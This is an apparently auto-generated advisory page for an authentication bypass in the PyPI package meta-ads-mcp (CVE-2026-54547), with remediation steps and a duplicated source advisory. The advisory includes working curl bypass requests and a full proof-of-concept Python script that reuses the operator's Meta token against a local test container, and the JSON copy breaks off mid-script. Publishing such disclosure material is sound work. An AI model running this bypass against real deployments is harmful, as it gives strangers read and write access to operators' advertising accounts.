CVE-2026-54547: meta-ads-mcp X-Pipeboard-Token Header Auth Bypass Reuses Vulnerability

HIGH
Advisory Identifier: GHSA-2v2f-mvfg-ph56
CVSS 7.4
CWE-287
Published
Advisory Summary

CVE-2026-54547 is a HIGH (CVSS 7.4) x-pipeboard-token header auth bypass reuses vulnerability (CWE-287: Improper Authentication) affecting meta-ads-mcp libraries in the PyPI ecosystem. The issue involves x-pipeboard-token header auth bypass reuses operator meta token. Remediation is available by upgrading affected packages to version 1.0.115.

CVE-2026-54547 at a Glance

CVE Identifier CVE-2026-54547
GHSA Identifier GHSA-2v2f-mvfg-ph56
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-287: Improper Authentication
Affected Product meta-ads-mcp
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54547

To remediate this vulnerability, upgrade all affected meta-ads-mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

meta-ads-mcp fixed: 1.0.115
pip install meta-ads-mcp>=1.0.115
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show meta-ads-mcp

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54547, inspect your installed packages using pip:

pip show meta-ads-mcp

Analyze the terminal output to locate any version of meta-ads-mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.115), your application is affected.

Note: The pip show meta-ads-mcp command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In meta-ads-mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token ### Summary `AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = <attacker value>`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data. ### Details The vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`: ```python # http_auth_integration.py:255-260 auth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers)) pipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers)) if not auth_token and not pipeboard_token: # ← bypass condition return Response(..., status_code=401) ``` `extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`. `extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces: ``` auth_token = None # not set → guard reads False for left operand pipeboard_token = "<anything>" # truthy → guard reads False for right operand → (not None) and (not "<anything>") = True and False = False → 401 never returned ``` After the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment: ```python # auth.py:443-453 env_token = os.environ.get("META_ACCESS_TOKEN") if env_token: return env_token ``` `@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path. Full data flow: | Step | Location | Description | |------|----------|-------------| | 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers | | 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard | | 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set | | 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor | | 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token | | 6 | `api.py:390–396` | Operator token injected into tool kwargs | | 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token | | 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request | **Recommended fix:** ```diff --- a/meta_ads_mcp/core/http_auth_integration.py +++ b/meta_ads_mcp/core/http_auth_integration.py - if not auth_token and not pipeboard_token: + if not auth_token: ``` `X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls. ### PoC **Prerequisites** - Docker installed and the `meta-ads-mcp` repository available locally. - The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment). **Step 1 — Build the Docker image** ```bash docker build \ -t vuln001-meta-ads-mcp \ -f /path/to/vuln-001/Dockerfile \ /path/to/meta-ads-mcp-repo/ ``` The `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080. **Step 2 — Run the container** ```bash docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp ``` **Step 3 — Confirm the middleware is active (no-auth → 401)** ```bash curl -i -X POST http://127.0.0.1:8081/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' # Expected: HTTP/1.1 401 {"error":"Unauthorized",...} ``` **Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)** ```bash curl -i -X POST http://127.0.0.1:8081/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' # Expected: HTTP/1.1 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools listed) ``` **Step 5 — Confirm operator token is forwarded to Meta Graph API** ```bash curl -i -X POST http://127.0.0.1:8081/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}' # Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN # was forwarded to Meta. With a real operator token, ad account data is returned. ``` **Automated PoC script** ```bash python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp ``` The script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success. **Observed output (dynamic reproduction)** ``` Test 1 (no auth header) → HTTP 401 {"error":"Unauthorized",...} Test 2 (X-Pipeboard-Token only) → HTTP 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools) Test 3 (tools/call, same header)→ HTTP 200 {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}} ``` Test 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path. ### Impact This is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can: - **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights). - **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator. - **Exfiltrate the operator's identity** via Meta Graph API error responses that reference the token. Operators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287) # Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN. # The server enforces auth via AuthInjectionMiddleware, but the bypass allows # X-Pipeboard-Token alone to pass the middleware and reach tool handlers, # which then fall back to the operator's META_ACCESS_TOKEN. FROM python:3.11-slim WORKDIR /app # Install system dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ curl \ && rm -rf /var/lib/apt/lists/* # Copy repository source (build context must be the repo root) COPY . /app # Install the package and its dependencies RUN pip install --no-cache-dir -e . # Fake operator token: length >= 20 so the server's basic validation passes. # This is NOT a real Meta token — used only to prove the bypass path # that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback). ENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890 ENV META_APP_ID=999999999999999 # Disable any browser-launch attempts during startup ENV DISPLAY= EXPOSE 8080 # Start the MCP server with streamable-http transport. # --host 0.0.0.0 is required so the container port is reachable from the host. CMD ["python", "-m", "meta_ads_mcp", \ "--transport", "streamable-http", \ "--host", "0.0.0.0", \ "--port", "8080"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token CVE class : CWE-287 Improper Authentication Package : meta-ads-mcp 1.0.113 File : meta_ads_mcp/core/http_auth_integration.py:259 Vulnerability summary --------------------- AuthInjectionMiddleware rejects requests only when BOTH auth_token AND pipeboard_token are absent (line 259): if not auth_token and not pipeboard_token: return Response(status_code=401) extract_token_from_headers() (lines 77-95) does NOT recognise the "X-Pipeboard-Token" header — only "Authorization: Bearer", "X-META-ACCESS-TOKEN", and "X-PIPEBOARD-API-TOKEN". extract_pipeboard_token_from_headers() (line 108) DOES recognise "X-Pipeboard-Token". Consequence: an attacker that sends only "X-Pipeboard-Token: <anything>" makes auth_token=None and pipeboard_token="<anything>". The bypass condition becomes: if not None and not "<anything>": # False — request passes No auth context is set; the token getter (http_auth_integration.py:163-168) falls back to get_current_access_token() in auth.py which returns the server operator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the operator. Expected evidence ----------------- Test 1 No auth header → HTTP 401 from middleware Test 2 X-Pipeboard-Token: <attacker value> → HTTP != 401 from MCP layer (proves bypass; further tool calls use operator token) Usage ----- The MCP server must already be running and reachable at 127.0.0.1:8080. docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp python3 poc.py """ import json import sys import time import urllib.error import urllib.request # --------------------------------------------------------------------------- # Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp import os as _os _DEFAULT_URL = "http://127.0.0.1:8080/mcp" SERVER_URL = ( sys.argv[1] if len(sys.argv) > 1 else _os.environ.get("MCP_SERVER_URL", _DEFAULT_URL) ) # Arbitrary attacker-controlled value — NOT validated by the server ATTACKER_PIPEBOARD_TOKEN = "attacker-controlled-not-validated-xyz1234567890" SERVER_READY_TIMEOUT = 90 # seconds # --------------------------------------------------------------------------- def http_post(url: str, headers: dict, body: dict) -> tuple: """Send a JSON-encoded POST request; return (http_status, response_text).""" data = json.dumps(body).encode() req = urllib.request.Request(url, data=data, headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=10) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") except urllib.error.HTTPError as exc: return exc.code, exc.read().decode("utf-8", errors="replace") except Exception as exc: return None, str(exc) def wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool: """ Poll until the server returns any HTTP response (even 401). Returns True when ready, False on timeout. """ deadline = time.time() + timeout attempt = 0 while time.time() < deadline: status, _ = http_post( SERVER_URL, {"Content-Type": "application/json"}, {"jsonrpc": "2.0", "id": 0, "method": "ping"}, ) if status is not None: return True attempt += 1 if attempt % 5 == 0: elapsed = int(time.time() - (deadline - timeout)) print(f" ... still waiting ({elapsed}s elapsed)") time.sleep(1) return False def run_test(label: str, headers: dict, payload: dict) -> tuple: """Run one request, print result, and return (status, body).""" print(f"\n[*] {label}") status, body = http_post(SERVER_URL, headers, payload) print(f" HTTP Status : {status}") # Print up to 600 chars so long MCP responses are readable print(f" Response : {body[:600]}") return status, body def main() -> int: print("=" * 65) print("VULN-001 PoC: X-Pipeboard-Token Auth Bypass") print("meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication") print("=" * 65) # ----------------------------------------------------------------------- print("\n[*] Waiting for MCP server to be ready ...") if not wait_for_server(): print(f"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s") return 2 print("[+] Server is ready") # Common headers for all requests base_headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", } # A minimal MCP JSON-RPC payload. In stateless-HTTP mode the server # processes each request independently; tools/list does not require a # prior initialize handshake. list_payload = { "jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}, } # ----------------------------------------------------------------------- # Test 1: No authentication — must be rejected with 401 # ----------------------------------------------------------------------- status1, body1 = run_test( "Test 1: POST /mcp — no auth header at all", base_headers, list_payload, ) if status1 != 401: print(f"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}") print(" Middleware may not be active. Cannot assess bypass.") return 2 try: parsed = json.loads(body1) if parsed.get("error") != "Unauthorized": print("[-] UNEXPECTED body (expected {\"error\": \"Unauthorized\"})") return 2 except json.JSONDecodeError: pass # Body format is secondary evidence print("[+] CONFIRMED: No-auth request correctly rejected with HTTP 401") # ----------------------------------------------------------------------- # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works # # Vulnerability logic (http_auth_integration.py:259): # auth_token = extract_token_from_headers(headers) -> None # pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE # if not None and not ATTACKER_VALUE: # evaluates False -> request passes # # set_auth_token() never called -> auth context stays None # # tool getter falls back to META_ACCESS_TOKEN env var # ----------------------------------------------------------------------- bypass_headers = { **base_headers, "X-Pipeboard-Token": ATTACKER_PIPEBOARD_TOKEN, } status2, body2 = run_test( f"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}", bypass_headers, list_payload, ) if status2 == 401: print("\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.") print(" The vulnerability may have been patched on this build.") return 1 print(f"\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)") print(" The middleware accepted the request with X-Pipeboard-Token alone.") print(" auth_token was None -> set_auth_token() not called ->") print(" get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.") # Extra detail: check if we can see MCP tool names in the response try: parsed2 = json.loads(body2) tools = parsed2.get("result", {}).get("tools", []) if tools: print(f"\n MCP tools/list returned {len(tools)} tools (server fully reachable):") for t in tools[:5]: print(f" - {t.get('name', '?')}") except Exception: pass # ----------------------------------------------------------------------- # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta # The Meta Graph API will reject the FAKE token, but the error response # proves the request reached Meta (not the local 401 guard). # ----------------------------------------------------------------------- call_payload = { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "get_ad_accounts", "arguments": {"limit": 1}, }, } status3, body3 = run_test( "Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only", bypass_headers, call_payload, ) if status3 != 401: print(f"\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}") print(" The tool call was not blocked locally. The server forwarded") print(" the request to Meta Graph API using META_ACCESS_TOKEN.") if "OAuthException" in body3 or "Invalid OAuth" in body3: print(" Meta Graph API returned an OAuthException about the") print(" FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.") elif "error" in body3.lower(): print(" Meta Graph API (or MCP layer) returned an error response") print(" — the request reached the tool handler, not the local 401 guard.") else: print("[!] Note: tools/call returned 401 — may need MCP initialize first") # ----------------------------------------------------------------------- print("\n" + "=" * 65) print("RESULT: PASS — VULN-001 reproduced") print() print("Evidence:") print(f" Test 1 (no header) -> HTTP {status1} (blocked by middleware)") print(f" Test 2 (X-Pipeboard-Token) -> HTTP {status2} (BYPASSES middleware)") print() print("The distinction proves that AuthInjectionMiddleware at") print("http_auth_integration.py:259 is the exploitable boundary.") print("An attacker can reach all MCP tools as the server operator by") print('sending any value in the "X-Pipeboard-Token" header.') print("=" * 65) return 0 if __name__ == "__main__": sys.exit(main()) ```

CVE-2026-54547 Affected meta-ads-mcp Versions

1 component(s)
Fixed Versions:
1.0.115
Product / Package Ecosystem Affected Versions Fixed Version
meta-ads-mcp
PyPI
< 1.0.115
1.0.115

References

Frequently Asked Questions

What is CVE-2026-54547?
CVE-2026-54547 is a security vulnerability in meta-ads-mcp involving X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token under CWE-287: Improper Authentication.
Which meta-ads-mcp versions are affected?
Affected versions include releases prior to 1.0.115 across affected packages: meta-ads-mcp.
What version fixes CVE-2026-54547?
Upgrading to 1.0.115 (or the latest patched release for your respective branch) resolves the vulnerability.
Is meta-ads-mcp affected?
Yes, meta-ads-mcp is affected in releases prior to 1.0.115. Upgrade your dependency to 1.0.115 or later.
What is the CVSS score of CVE-2026-54547?
CVE-2026-54547 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-54547?
CVE-2026-54547 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check PyPI dependencies for CVE-2026-54547?
Run the dependency tree command: 'pip show meta-ads-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2v2f-mvfg-ph56",
  "modified" : "2026-07-17T18:48:54Z",
  "published" : "2026-07-17T18:48:54Z",
  "aliases" : [ "CVE-2026-54547" ],
  "summary" : "meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token",
  "details" : "## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\n### Summary\n\n`AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = <attacker value>`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.\n\n### Details\n\nThe vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`:\n\n```python\n# http_auth_integration.py:255-260\nauth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))\npipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))\n\nif not auth_token and not pipeboard_token:      # ← bypass condition\n    return Response(..., status_code=401)\n```\n\n`extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`.\n\n`extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces:\n\n```\nauth_token      = None          # not set → guard reads False for left operand\npipeboard_token = \"<anything>\"  # truthy  → guard reads False for right operand\n→ (not None) and (not \"<anything>\") = True and False = False → 401 never returned\n```\n\nAfter the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment:\n\n```python\n# auth.py:443-453\nenv_token = os.environ.get(\"META_ACCESS_TOKEN\")\nif env_token:\n    return env_token\n```\n\n`@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path.\n\nFull data flow:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers |\n| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |\n| 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set |\n| 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor |\n| 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token |\n| 6 | `api.py:390–396` | Operator token injected into tool kwargs |\n| 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token |\n| 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request |\n\n**Recommended fix:**\n\n```diff\n--- a/meta_ads_mcp/core/http_auth_integration.py\n+++ b/meta_ads_mcp/core/http_auth_integration.py\n-        if not auth_token and not pipeboard_token:\n+        if not auth_token:\n```\n\n`X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed and the `meta-ads-mcp` repository available locally.\n- The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n  -t vuln001-meta-ads-mcp \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/meta-ads-mcp-repo/\n```\n\nThe `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp\n```\n\n**Step 3 — Confirm the middleware is active (no-auth → 401)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 401  {\"error\":\"Unauthorized\",...}\n```\n\n**Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 200  {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}}  (37 tools listed)\n```\n\n**Step 5 — Confirm operator token is forwarded to Meta Graph API**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}'\n# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN\n# was forwarded to Meta. With a real operator token, ad account data is returned.\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp\n```\n\nThe script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success.\n\n**Observed output (dynamic reproduction)**\n\n```\nTest 1 (no auth header)         → HTTP 401  {\"error\":\"Unauthorized\",...}\nTest 2 (X-Pipeboard-Token only) → HTTP 200  {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}}  (37 tools)\nTest 3 (tools/call, same header)→ HTTP 200  {\"error\":{\"message\":\"Invalid OAuth access token data.\",\"type\":\"OAuthException\",\"code\":190}}\n```\n\nTest 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path.\n\n### Impact\n\nThis is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can:\n\n- **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).\n- **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator.\n- **Exfiltrate the operator's identity** via Meta Graph API error responses that reference the token.\n\nOperators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)\n# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.\n# The server enforces auth via AuthInjectionMiddleware, but the bypass allows\n# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,\n# which then fall back to the operator's META_ACCESS_TOKEN.\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install system dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        curl \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Copy repository source (build context must be the repo root)\nCOPY . /app\n\n# Install the package and its dependencies\nRUN pip install --no-cache-dir -e .\n\n# Fake operator token: length >= 20 so the server's basic validation passes.\n# This is NOT a real Meta token — used only to prove the bypass path\n# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).\nENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890\nENV META_APP_ID=999999999999999\n\n# Disable any browser-launch attempts during startup\nENV DISPLAY=\n\nEXPOSE 8080\n\n# Start the MCP server with streamable-http transport.\n# --host 0.0.0.0 is required so the container port is reachable from the host.\nCMD [\"python\", \"-m\", \"meta_ads_mcp\", \\\n     \"--transport\", \"streamable-http\", \\\n     \"--host\", \"0.0.0.0\", \\\n     \"--port\", \"8080\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\nCVE class : CWE-287 Improper Authentication\nPackage   : meta-ads-mcp 1.0.113\nFile      : meta_ads_mcp/core/http_auth_integration.py:259\n\nVulnerability summary\n---------------------\nAuthInjectionMiddleware rejects requests only when BOTH auth_token AND\npipeboard_token are absent (line 259):\n    if not auth_token and not pipeboard_token:\n        return Response(status_code=401)\n\nextract_token_from_headers() (lines 77-95) does NOT recognise the\n\"X-Pipeboard-Token\" header — only \"Authorization: Bearer\",\n\"X-META-ACCESS-TOKEN\", and \"X-PIPEBOARD-API-TOKEN\".\n\nextract_pipeboard_token_from_headers() (line 108) DOES recognise\n\"X-Pipeboard-Token\".\n\nConsequence: an attacker that sends only \"X-Pipeboard-Token: <anything>\"\nmakes auth_token=None and pipeboard_token=\"<anything>\". The bypass\ncondition becomes:\n    if not None and not \"<anything>\":   # False — request passes\nNo auth context is set; the token getter (http_auth_integration.py:163-168)\nfalls back to get_current_access_token() in auth.py which returns the server\noperator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the\noperator.\n\nExpected evidence\n-----------------\nTest 1  No auth header  →  HTTP 401 from middleware\nTest 2  X-Pipeboard-Token: <attacker value>  →  HTTP != 401 from MCP layer\n        (proves bypass; further tool calls use operator token)\n\nUsage\n-----\nThe MCP server must already be running and reachable at 127.0.0.1:8080.\n    docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp\n    python3 poc.py\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp\nimport os as _os\n\n_DEFAULT_URL = \"http://127.0.0.1:8080/mcp\"\nSERVER_URL = (\n    sys.argv[1] if len(sys.argv) > 1 else _os.environ.get(\"MCP_SERVER_URL\", _DEFAULT_URL)\n)\n# Arbitrary attacker-controlled value — NOT validated by the server\nATTACKER_PIPEBOARD_TOKEN = \"attacker-controlled-not-validated-xyz1234567890\"\nSERVER_READY_TIMEOUT = 90  # seconds\n# ---------------------------------------------------------------------------\n\n\ndef http_post(url: str, headers: dict, body: dict) -> tuple:\n    \"\"\"Send a JSON-encoded POST request; return (http_status, response_text).\"\"\"\n    data = json.dumps(body).encode()\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    try:\n        with urllib.request.urlopen(req, timeout=10) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n    except Exception as exc:\n        return None, str(exc)\n\n\ndef wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:\n    \"\"\"\n    Poll until the server returns any HTTP response (even 401).\n    Returns True when ready, False on timeout.\n    \"\"\"\n    deadline = time.time() + timeout\n    attempt = 0\n    while time.time() < deadline:\n        status, _ = http_post(\n            SERVER_URL,\n            {\"Content-Type\": \"application/json\"},\n            {\"jsonrpc\": 